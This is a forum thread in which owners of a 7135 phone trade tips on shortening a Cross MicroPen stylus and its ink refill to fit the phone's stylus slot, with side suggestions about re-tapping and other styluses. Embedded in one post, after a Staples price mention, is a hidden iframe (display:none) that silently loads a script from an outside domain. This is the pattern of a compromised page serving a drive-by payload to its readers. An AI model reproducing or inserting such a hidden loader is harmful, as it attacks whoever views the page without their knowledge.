I've looked all over for a nice stylus/pen combo. I remember some one talking about taking a Cross MicroPen apart and reworking it. I had a machinist at our company try this with no luck, it's too thin and frail to machine...One ruined stylus!
The only problem is the stylus is about .44" too long to fit in the 7135. Duhhh, I finally figured it out. The chrome tip is about 5/8" long. I bought another one, took the ink cartridge out, ground .44" off the chrome tip, then shortened the ink cartridge the same amount and put them back together. On the end with the stylus there's a little tang that limits how far it can slide it the phone. Just grind that back too and it will slide entirely into the phone and is very secure! Plus the stylus is so smooth to use. I'm more than happy!
Our local Staples store has the Cross MicroPen on sale for under $9.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
I don't suppose you'd be interested in possibly making another would you? I don't have access to the equipment needed to do the modification you described, but I'd definately be interested in purchasing a modded one for a fair price. I'm sure others may also be interested.
I can pick up one of the Cross Micropens much quicker than I can order a Pilot Pentopia (both need to be modified).
I'm going on a trip in a couple of days and would like to take it with me. I never carry a pen around...even though it seems I always need one...but I have my 7135 strapped to my side 24/7.
To have a pen built into the stylus would be great!
I bought one of these (I don't mind the thing sticking out), but I found that it would not "click: into place, and it kept falling out. Did you fix that somehow?
I had a Belkin stylus with a light at the end (for a while (broke it--probably because it stuck out to far), but it had enough friction to stay in when I needed it to. The light was great for low-light conditions, but it had no pen.
I also picked up a Cross Micro Stylus today on your suggestion as a Cross pen is classier than a Pentopia.
$8.95 at Staples. Comes in blue, black and Silver (grey) The blue is almost an exact match to the 7135 in color. Pentopia has a cap you could easily lose and the Cross is a retractable tip. You do have to turn the Cross over to use the stylus where the Pentopia you don't.
But the Pentopia clicks into place securely when inserted into the 7135. When I insert the Cross it seems to bottom on a rubber piece. If I chop the tip it will make the tip even a bigger diameter so I know it's not going to snap in place.
What's your experience before I chop the tip . . . Does yours snap in . . . it feels like the Pentopia's tip fits into a rubber hole at the base of the 7135 slot where the Cross's tip is too big.
Further finding . . . actually if you remove the metal tip on the Cross the protruding refill does fit snugly into the bottom of the 7135 slot. So there is a rubber like hole that accepts the Pentopia's tip diameter very nicely. So it looks like you would have to grind down the Cross tip's diameter which could mess up it's chrome tip. Maybe someone could come up with another suggestion. I don't want to enlarge the rubber hole which would be easy to do but it would never fit a stock combo stylus that I'm sure will come out in the near future to fit the 7135.
Here are some pics. It's pretty straight forward. You just need to shorten the ink cartridge the same amount the pen is shortened (no ink comes out). There are little flags on the side near the stylus tip, once the tap is filed back the pen will slide fully into the phone and the flags hold it securely.
I bought the micropen and am planning to grind the tip down as your post suggests. You also talk about "shortening" the ink refill by "the same amount." How do you do that? Do you just grind it down from the back? I am concerned about getting into the ink reservior. Also, presumably, you will have to do this every time a refill is necessary.
I used wire cutters to shorten the ink refill close to the same amount I shortened the stylus. This will cause the refill to be flattened where it was cut. I then gound a little off the refill so it would be round, not flattened. No ink came out.
I've ground the tip on my cross micro pen much the same way. I'll offer two further thoughts:
1 - I used a pocket knife to cut the ink refill (rotring refills work as well as cross, and I had a bunch.) Just roll the refil under the knife blade and it should cut cleanly after a couple back-and-forth revolutions. Don't press too hard. This should leave you a nice clean cut that will need no grinding.
2 - I am going to buy a tap sized to match the threads on the tip. Then i will shorten the body of the pen and retap the body rather than grind the tip. I expect to end up with a much cleaner look and a properly pointy tip. I'll post tap size and results when I've done it.
I initially wanted to do the tapping idea but in cutting the pen apart I found the ID is larger than the threads and there is a sleeve inside which serves some unknown function.
If you find a good method I'd be really happy to hear it. Good luck.
Woops. Thanks for the quick response; probably saved me creating a pile of spare parts from this stylus. I had assumed that the body was a solid brass tube of thick wall thickness Probing with a bit of wire reveals that there is stuff going on at the lower end that I had not suspected. My guess is that the body is a solid brass tube of thin wall thickness, with a sleeve in the lower end to carry the threads and mechanism pressed into the upper end. Guess I'll leave it the way it is.
I have an ebcases stylus that I bought several years ago for my 6035. Unlike the Cross, the barrel is "solid" so I was able to cut half an inch off the reset-pin end and use a #8-32 tap to re-thread it. It works great and I got to keep my favorite stylus to use with the 7135 (see attached photos). Unfortunately, I don't think that ebcases makes this particular stylus any longer. Maybe they would be willing to make a custom styuls for the 7135 if we had enough interest for a group buy.
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